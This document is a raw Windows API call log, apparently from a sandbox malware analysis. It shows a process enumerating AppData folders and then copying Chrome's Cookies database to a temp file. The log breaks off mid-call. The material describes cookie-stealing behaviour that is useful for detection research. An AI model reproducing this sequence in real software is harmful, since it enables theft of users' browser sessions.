returned 1 [0197.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", lpFilePart=0x0) returned 0x30 [0197.684] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.685] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.685] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3f1c0c3d, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCache.accdb", cAlternateFileName="ACCESS~1.ACC")) returned 1 [0197.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.727] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x12febc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0197.727] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0197.728] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x12feda4 | out: lpFindFileData=0x12feda4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.728] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b238 [0197.729] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0197.729] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0197.730] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.730] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.731] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x12feda4 | out: lpFindFileData=0x12feda4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.732] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.732] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.733] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0197.733] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.734] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0197.734] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.738] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x12febc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0197.916] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x45 [0197.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x34 [0198.902] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x12febc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x2b [0199.176] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12ff004, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0199.176] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12ff004, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0199.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x12febd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", lpFilePart=0x0) returned 0x45 [0199.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", nBufferLength=0x105, lpBuffer=0x12febd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", lpFilePart=0x0) returned 0x52 [0199.178] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_07.7774490+02_0011"), bFailIfExists=0) returned 1 [0199.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", nBufferLength=0x105, lpBuffer=0x12febe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", lpFilePart=0x0) returned 0x52 [0199.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff094) returned 1 [0199.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_07.7774490+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff110 | out: lpFileInformation=0x12ff110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e8569a, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29e8569a, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1a4ae535, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0199.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff090) returned 1 [0199.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", lpFilePart=0x0) returned 0x52 [0199.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", lpFilePart=0x0) returned 0x52 [0199.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", nBufferLength=0x105, lpBuffer=0x12feb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", lpFilePart=0x0) returned 0x52 [0199.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe4) returned 1 [0199.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_07.7774490+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff060 | out: lpFileInformation=0x12ff060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e8569a, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29e8569a, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1a4ae535, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0199.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe0) returned 1 [0199.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", nBufferLength=0x105, lpBuffer=0x12fea48, lpFilePart=0x0 | out: 